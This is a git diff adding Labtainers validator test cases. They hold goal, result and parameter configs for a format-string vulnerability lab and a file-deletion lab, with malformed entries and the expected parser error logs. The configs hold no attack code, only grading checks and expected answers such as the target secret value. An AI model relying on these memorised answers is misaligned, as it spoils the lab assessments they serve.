b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00015/goals.config @@ -0,0 +1,25 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for format string vulnerability lab + +# whether the student crashed the program +_crash_smash = matchany : string_equal : crashStringCanary : answer=smashing +_crash_sig = matchany : string_equal : crashStringSignal : answer=segmentation +crash = boolean : ( _crash_smash or _crash_sig ) + +# was the secret2 value leaked? +_leaked_secret = matchany : string_end : leaked_secret1 : parameter_ascii.SECRET2 +# was the secret2 value modified? +modify_value = matchany : string_diff : newsecret1value : xxxxlt.origsecret1value +# was the secret2 value modified to a specific value? +modify_specific = matchany : string_equal : newsecret1value : answer=0xa +# count stdin to determine if first scanf was disabled +_in_lines_2 = matchany : string_equal : input_lines : answer=2 +# was ASLR enabled? +_aslr_on = matchany : string_equal : aslr : answer=2 +# secret leaked with ASLR enabled? +leaked_secret = boolean : ( _aslr_on and _leaked_secret ) +# secret leaked with ASLR no scanf, and ASLR disabled? +leaked_no_scanf = boolean : ( (_in_lines_2 and _leaked_secret) and_not _aslr_on ) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00015/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00015/labname new file mode 100644 index 000000000..d13324c1d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00015/labname @@ -0,0 +1 @@ +formatstring diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00015/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00015/parameter.config new file mode 100644 index 000000000..51938da9d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00015/parameter.config @@ -0,0 +1,7 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format + +# The following are meant for format string vulnerability lab +SECRET2 : RAND_REPLACE: /home/ubuntu/vul_prog.c : SECRET2_VALUE : 0x41 : 0x5a + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00015/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00015/results.config new file mode 100644 index 000000000..ff66b2f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00015/results.config @@ -0,0 +1,11 @@ +# results.config +# +# Please see ..../docs/results.config.format + +crashStringCanary = vul_prog.stdout : 3 : STARTSWITH : *** stack smashing detected +crashStringSignal = vul_prog.stdout : 3 : STARTSWITH : program exit, +origsecret1value = vul_prog.stdout : 6 : STARTSWITH : The original secrets: +newsecret1value = vul_prog.stdout : 6 : STARTSWITH : The new secrets: +leaked_secret1 = vul_prog.stdout : LAST : NEXT_STARTSWITH : The original secrets: +input_lines = vul_prog.stdin : LINE_COUNT +aslr = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00016/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00016/about.txt new file mode 100644 index 000000000..07c6126c4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00016/about.txt @@ -0,0 +1 @@ +Check goals.config - invalid tag format - must use alphanumeric or dash or underscore only diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00016/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00016/expected.log new file mode 100644 index 000000000..d74a33f11 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00016/expected.log @@ -0,0 +1 @@ +[2017-10-24 15:09:55,872 - ERROR : GoalsParser.py:194 - ValidateTag() ] Invalid characters in goals.config's tag (result.orig@secret1value) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00016/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00016/goals.config new file mode 100644 index 000000000..dd2da25f7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00016/goals.config @@ -0,0 +1,25 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for format string vulnerability lab + +# whether the student crashed the program +_crash_smash = matchany : string_equal : crashStringCanary : answer=smashing +_crash_sig = matchany : string_equal : crashStringSignal : answer=segmentation +crash = boolean : ( _crash_smash or _crash_sig ) + +# was the secret2 value leaked? +_leaked_secret = matchany : string_end : leaked_secret1 : parameter_ascii.SECRET2 +# was the secret2 value modified? +modify_value = matchany : string_diff : newsecret1value : result.orig@secret1value +# was the secret2 value modified to a specific value? +modify_specific = matchany : string_equal : newsecret1value : answer=0xa +# count stdin to determine if first scanf was disabled +_in_lines_2 = matchany : string_equal : input_lines : answer=2 +# was ASLR enabled? +_aslr_on = matchany : string_equal : aslr : answer=2 +# secret leaked with ASLR enabled? +leaked_secret = boolean : ( _aslr_on and _leaked_secret ) +# secret leaked with ASLR no scanf, and ASLR disabled? +leaked_no_scanf = boolean : ( (_in_lines_2 and _leaked_secret) and_not _aslr_on ) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00016/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00016/labname new file mode 100644 index 000000000..d13324c1d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00016/labname @@ -0,0 +1 @@ +formatstring diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00016/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00016/parameter.config new file mode 100644 index 000000000..51938da9d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00016/parameter.config @@ -0,0 +1,7 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format + +# The following are meant for format string vulnerability lab +SECRET2 : RAND_REPLACE: /home/ubuntu/vul_prog.c : SECRET2_VALUE : 0x41 : 0x5a + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00016/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00016/results.config new file mode 100644 index 000000000..ff66b2f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00016/results.config @@ -0,0 +1,11 @@ +# results.config +# +# Please see ..../docs/results.config.format + +crashStringCanary = vul_prog.stdout : 3 : STARTSWITH : *** stack smashing detected +crashStringSignal = vul_prog.stdout : 3 : STARTSWITH : program exit, +origsecret1value = vul_prog.stdout : 6 : STARTSWITH : The original secrets: +newsecret1value = vul_prog.stdout : 6 : STARTSWITH : The new secrets: +leaked_secret1 = vul_prog.stdout : LAST : NEXT_STARTSWITH : The original secrets: +input_lines = vul_prog.stdin : LINE_COUNT +aslr = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00017/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00017/about.txt new file mode 100644 index 000000000..07c6126c4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00017/about.txt @@ -0,0 +1 @@ +Check goals.config - invalid tag format - must use alphanumeric or dash or underscore only diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00017/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00017/expected.log new file mode 100644 index 000000000..037d21504 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00017/expected.log @@ -0,0 +1 @@ +[2017-10-24 15:11:35,599 - ERROR : GoalsParser.py:201 - ValidateTag() ] Invalid characters in goals.config's tag (orig@secret1value) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00017/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00017/goals.config new file mode 100644 index 000000000..ffcc56fa1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00017/goals.config @@ -0,0 +1,26 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for format string vulnerability lab + +# whether the student crashed the program +_crash_smash = matchany : string_equal : crashStringCanary : answer=smashing +_crash_sig = matchany : string_equal : crashStringSignal : answer=segmentation +crash = boolean : ( _crash_smash or _crash_sig ) + +# was the secret2 value leaked? +_leaked_secret = matchany : string_end : leaked_secret1 : parameter_ascii.SECRET2 +# was the secret2 value modified? +#modify_value = matchany : string_diff : newsecret1value : result.origsecret1value +modify_value = matchany : string_diff : newsecret1value : orig@secret1value +# was the secret2 value modified to a specific value? +modify_specific = matchany : string_equal : newsecret1value : answer=0xa +# count stdin to determine if first scanf was disabled +_in_lines_2 = matchany : string_equal : input_lines : answer=2 +# was ASLR enabled? +_aslr_on = matchany : string_equal : aslr : answer=2 +# secret leaked with ASLR enabled? +leaked_secret = boolean : ( _aslr_on and _leaked_secret ) +# secret leaked with ASLR no scanf, and ASLR disabled? +leaked_no_scanf = boolean : ( (_in_lines_2 and _leaked_secret) and_not _aslr_on ) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00017/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00017/labname new file mode 100644 index 000000000..d13324c1d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00017/labname @@ -0,0 +1 @@ +formatstring diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00017/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00017/parameter.config new file mode 100644 index 000000000..51938da9d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00017/parameter.config @@ -0,0 +1,7 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format + +# The following are meant for format string vulnerability lab +SECRET2 : RAND_REPLACE: /home/ubuntu/vul_prog.c : SECRET2_VALUE : 0x41 : 0x5a + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00017/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00017/results.config new file mode 100644 index 000000000..ff66b2f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00017/results.config @@ -0,0 +1,11 @@ +# results.config +# +# Please see ..../docs/results.config.format + +crashStringCanary = vul_prog.stdout : 3 : STARTSWITH : *** stack smashing detected +crashStringSignal = vul_prog.stdout : 3 : STARTSWITH : program exit, +origsecret1value = vul_prog.stdout : 6 : STARTSWITH : The original secrets: +newsecret1value = vul_prog.stdout : 6 : STARTSWITH : The new secrets: +leaked_secret1 = vul_prog.stdout : LAST : NEXT_STARTSWITH : The original secrets: +input_lines = vul_prog.stdin : LINE_COUNT +aslr = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00018/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00018/about.txt new file mode 100644 index 000000000..5d337bab8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00018/about.txt @@ -0,0 +1 @@ +Check goals.config - invalid resulttag diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00018/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00018/expected.log new file mode 100644 index 000000000..9b8db80ca --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00018/expected.log @@ -0,0 +1 @@ +[2017-10-25 17:11:29,688 - ERROR : validate.py:93 - check_count() ] ERROR: Goals goalid (strings_td_myfs) has invalid resulttag (xxxxngs_td_myfs) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00018/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00018/goals.config new file mode 100644 index 000000000..37747ea14 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00018/goals.config @@ -0,0 +1,14 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +# +# some counts of how many times utilties were invoked +# +#strings_td_myfs = value : strings_td_myfs +strings_td_myfs = value : xxxxngs_td_myfs +hexdump = value : hexdump +ntfsundelete_p = value : ntfsundelete_p +# viewed deleted file content if output of dd and file not in listing from checklocal +_file2_recover = is_true : file2_recover +_file2_present = is_true : file2_present +recovered_file2 = boolean : _file2_recover and_not _file2_present diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00018/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00018/labname new file mode 100644 index 000000000..8cb184587 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00018/labname @@ -0,0 +1 @@ +file-deletion diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00018/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00018/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00018/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00018/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00018/results.config new file mode 100644 index 000000000..b360d7745 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00018/results.config @@ -0,0 +1,12 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide +strings_td_myfs = .bash_history : STRING_COUNT : strings -td myfs.img +hexdump = .bash_history : STRING_COUNT : hexdump -C myfs.img +ntfsundelete_p = .bash_history : STRING_COUNT : ntfsundelete -p 100 ntfs.img +# +# see the treataslocal file for example of identifying program output "prgout" +# +file2_recover = dd.prgout : CONTAINS : Second file created +# see if file2 is still in the file system +file2_present = checklocal.stdout : CONTAINS : file2 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00001/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00001/about.txt new file mode 100644 index 000000000..648dbe487 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00001/about.txt @@ -0,0 +1 @@ +Check parameter.config - invalid operator. valid operators are RAND_REPLACE, HASH_CREATE or HASH_REPLACE. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00001/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00001/expected.log new file mode 100644 index 000000000..eeccbd9c4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00001/expected.log @@ -0,0 +1 @@ +[2017-10-26 15:30:33,450 - ERROR : ParameterParser.py:287 - ValidateParamet() ] ParseParameter.py, ValidateParameterConfig, Invalid operator XXXX_REPLACE diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00001/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00001/goals.config new file mode 100644 index 000000000..e567d7dcb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00001/goals.config @@ -0,0 +1,25 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for format string vulnerability lab + +# whether the student crashed the program +_crash_smash = matchany : string_equal : crashStringCanary : answer=smashing +_crash_sig = matchany : string_equal : crashStringSignal : answer=segmentation +crash = boolean : ( _crash_smash or _crash_sig ) + +# was the secret2 value leaked? +_leaked_secret = matchany : string_end : leaked_secret1 : parameter_ascii.SECRET2 +# was the secret2 value modified? +modify_value = matchany : string_diff : newsecret1value : result.origsecret1value +# was the secret2 value modified to a specific value? +modify_specific = matchany : string_equal : newsecret1value : answer=0xa +# count stdin to determine if first scanf was disabled +_in_lines_2 = matchany : string_equal : input_lines : answer=2 +# was ASLR enabled? +_aslr_on = matchany : string_equal : aslr : answer=2 +# secret leaked with ASLR enabled? +leaked_secret = boolean : ( _aslr_on and _leaked_secret ) +# secret leaked with ASLR no scanf, and ASLR disabled? +leaked_no_scanf = boolean : ( (_in_lines_2 and _leaked_secret) and_not _aslr_on ) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00001/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00001/labname new file mode 100644 index 000000000..d13324c1d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00001/labname @@ -0,0 +1 @@ +formatstring diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00001/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00001/parameter.config new file mode 100644 index 000000000..a8158f373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00001/parameter.config @@ -0,0 +1,7 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format + +# The following are meant for format string vulnerability lab +SECRET2 : XXXX_REPLACE: /home/ubuntu/vul_prog.c : SECRET2_VALUE : 0x41 : 0x5a + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00001/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00001/results.config new file mode 100644 index 000000000..ff66b2f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00001/results.config @@ -0,0 +1,11 @@ +# results.config +# +# Please see ..../docs/results.config.format + +crashStringCanary = vul_prog.stdout : 3 : STARTSWITH : *** stack smashing detected +crashStringSignal = vul_prog.stdout : 3 : STARTSWITH : program exit, +origsecret1value = vul_prog.stdout : 6 : STARTSWITH : The original secrets: +newsecret1value = vul_prog.stdout : 6 : STARTSWITH : The new secrets: +leaked_secret1 = vul_prog.stdout : LAST : NEXT_STARTSWITH : The original secrets: +input_lines = vul_prog.stdin : LINE_COUNT +aslr = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00002/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00002/about.txt new file mode 100644 index 000000000..e104be604 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00002/about.txt @@ -0,0 +1 @@ +Check parameter.config - RAND_REPLACE improper format -- too many diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00002/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00002/expected.log new file mode 100644 index 000000000..9241151f5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00002/expected.log @@ -0,0 +1 @@ +[2017-10-27 13:22:44,277 - ERROR : ParameterParser.py:75 - CheckRandReplac() ] RAND_REPLACE (/home/ubuntu/vul_prog.c : SECRET2_VALUE : 0x41 : 0x5a : toomany) improper format diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00002/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00002/goals.config new file mode 100644 index 000000000..e567d7dcb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00002/goals.config @@ -0,0 +1,25 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for format string vulnerability lab + +# whether the student crashed the program +_crash_smash = matchany : string_equal : crashStringCanary : answer=smashing +_crash_sig = matchany : string_equal : crashStringSignal : answer=segmentation +crash = boolean : ( _crash_smash or _crash_sig ) + +# was the secret2 value leaked? +_leaked_secret = matchany : string_end : leaked_secret1 : parameter_ascii.SECRET2 +# was the secret2 value modified? +modify_value = matchany : string_diff : newsecret1value : result.origsecret1value +# was the secret2 value modified to a specific value? +modify_specific = matchany : string_equal : newsecret1value : answer=0xa +# count stdin to determine if first scanf was disabled +_in_lines_2 = matchany : string_equal : input_lines : answer=2 +# was ASLR enabled? +_aslr_on = matchany : string_equal : aslr : answer=2 +# secret leaked with ASLR enabled? +leaked_secret = boolean : ( _aslr_on and _leaked_secret ) +# secret leaked with ASLR no scanf, and ASLR disabled? +leaked_no_scanf = boolean : ( (_in_lines_2 and _leaked_secret) and_not _aslr_on ) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00002/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00002/labname new file mode 100644 index 000000000..d13324c1d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00002/labname @@ -0,0 +1 @@ +formatstring diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00002/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00002/parameter.config new file mode 100644 index 000000000..6ad2472ed --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00002/parameter.config @@ -0,0 +1,8 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format + +# The following are meant for format string vulnerability lab +#SECRET2 : RAND_REPLACE: /home/ubuntu/vul_prog.c : SECRET2_VALUE : 0x41 : 0x5a +SECRET2 : RAND_REPLACE: /home/ubuntu/vul_prog.c : SECRET2_VALUE : 0x41 : 0x5a : toomany + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00002/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00002/results.config new file mode 100644 index 000000000..ff66b2f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00002/results.config @@ -0,0 +1,11 @@ +# results.config +# +# Please see ..../docs/results.config.format + +crashStringCanary = vul_prog.stdout : 3 : STARTSWITH : *** stack smashing detected +crashStringSignal = vul_prog.stdout : 3 : STARTSWITH : program exit, +origsecret1value = vul_prog.stdout : 6 : STARTSWITH : The original secrets: +newsecret1value = vul_prog.stdout : 6 : STARTSWITH : The new secrets: +leaked_secret1 = vul_prog.stdout : LAST : NEXT_STARTSWITH : The original secrets: +input_lines = vul_prog.stdin : LINE_COUNT +aslr = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00003/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00003/about.txt new file mode 100644 index 000000000..be9f15c1b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00003/about.txt @@ -0,0 +1 @@ +Check parameter.config - RAND_REPLACE improper format -- too few diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00003/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00003/expected.log new file mode 100644 index 000000000..8c0c35f5b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00003/expected.log @@ -0,0 +1 @@ +[2017-10-27 13:24:53,639 - ERROR : ParameterParser.py:75 - CheckRandReplac() ] RAND_REPLACE (/home/ubuntu/vul_prog.c : SECRET2_VALUE : toofew) improper format diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00003/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00003/goals.config new file mode 100644 index 000000000..e567d7dcb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00003/goals.config @@ -0,0 +1,25 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for format string vulnerability lab + +# whether the student crashed the program +_crash_smash = matchany : string_equal : crashStringCanary : answer=smashing +_crash_sig = matchany : string_equal : crashStringSignal : answer=segmentation +crash = boolean : ( _crash_smash or _crash_sig ) + +# was the secret2 value leaked? +_leaked_secret = matchany : string_end : leaked_secret1 : parameter_ascii.SECRET2 +# was the secret2 value modified? +modify_value = matchany : string_diff : newsecret1value : result.origsecret1value +# was the secret2 value modified to a specific value? +modify_specific = matchany : string_equal : newsecret1value : answer=0xa +# count stdin to determine if first scanf was disabled +_in_lines_2 = matchany : string_equal : input_lines : answer=2 +# was ASLR enabled? +_aslr_on = matchany : string_equal : aslr : answer=2 +# secret leaked with ASLR enabled? +leaked_secret = boolean : ( _aslr_on and _leaked_secret ) +# secret leaked with ASLR no scanf, and ASLR disabled? +leaked_no_scanf = boolean : ( (_in_lines_2 and _leaked_secret) and_not _aslr_on ) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00003/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00003/labname new file mode 100644 index 000000000..d13324c1d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00003/labname @@ -0,0 +1 @@ +formatstring diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00003/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00003/parameter.config new file mode 100644 index 000000000..caa967b3c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00003/parameter.config @@ -0,0 +1,8 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format + +# The following are meant for format string vulnerability lab +#SECRET2 : RAND_REPLACE: /home/ubuntu/vul_prog.c : SECRET2_VALUE : 0x41 : 0x5a +SECRET2 : RAND_REPLACE: /home/ubuntu/vul_prog.c : SECRET2_VALUE : toofew + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00003/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00003/results.config new file mode 100644 index 000000000..ff66b2f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00003/results.config @@ -0,0 +1,11 @@ +# results.config +# +# Please see ..../docs/results.config.format + +crashStringCanary = vul_prog.stdout : 3 : STARTSWITH : *** stack smashing detected +crashStringSignal = vul_prog.stdout : 3 : STARTSWITH : program exit, +origsecret1value = vul_prog.stdout : 6 : STARTSWITH : The original secrets: +newsecret1value = vul_prog.stdout : 6 : STARTSWITH : The new secrets: +leaked_secret1 = vul_prog.stdout : LAST : NEXT_STARTSWITH : The original secrets: +input_lines = vul_prog.stdin : LINE_COUNT +aslr = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00004/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00004/about.txt new file mode 100644 index 000000000..994c30716 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00004/about.txt @@ -0,0 +1 @@ +Check parameter.config - RAND_REPLACE lower bound uses hexadecimal, upper bound uses integer diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00004/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00004/expected.log new file mode 100644 index 000000000..3bedf1fea --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00004/expected.log @@ -0,0 +1 @@ +[2017-10-27 13:35:37,655 - ERROR : ParameterParser.py:108 - CheckRandReplac() ] RAND_REPLACE (/home/ubuntu/vul_prog.c : SECRET2_VALUE : 0x41 : 100) inconsistent lowerbound/upperbound format diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00004/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00004/goals.config new file mode 100644 index 000000000..e567d7dcb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00004/goals.config @@ -0,0 +1,25 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for format string vulnerability lab + +# whether the student crashed the program +_crash_smash = matchany : string_equal : crashStringCanary : answer=smashing +_crash_sig = matchany : string_equal : crashStringSignal : answer=segmentation +crash = boolean : ( _crash_smash or _crash_sig ) + +# was the secret2 value leaked? +_leaked_secret = matchany : string_end : leaked_secret1 : parameter_ascii.SECRET2 +# was the secret2 value modified? +modify_value = matchany : string_diff : newsecret1value : result.origsecret1value +# was the secret2 value modified to a specific value? +modify_specific = matchany : string_equal : newsecret1value : answer=0xa +# count stdin to determine if first scanf was disabled +_in_lines_2 = matchany : string_equal : input_lines : answer=2 +# was ASLR enabled? +_aslr_on = matchany : string_equal : aslr : answer=2 +# secret leaked with ASLR enabled? +leaked_secret = boolean : ( _aslr_on and _leaked_secret ) +# secret leaked with ASLR no scanf, and ASLR disabled? +leaked_no_scanf = boolean : ( (_in_lines_2 and _leaked_secret) and_not _aslr_on ) diff --git 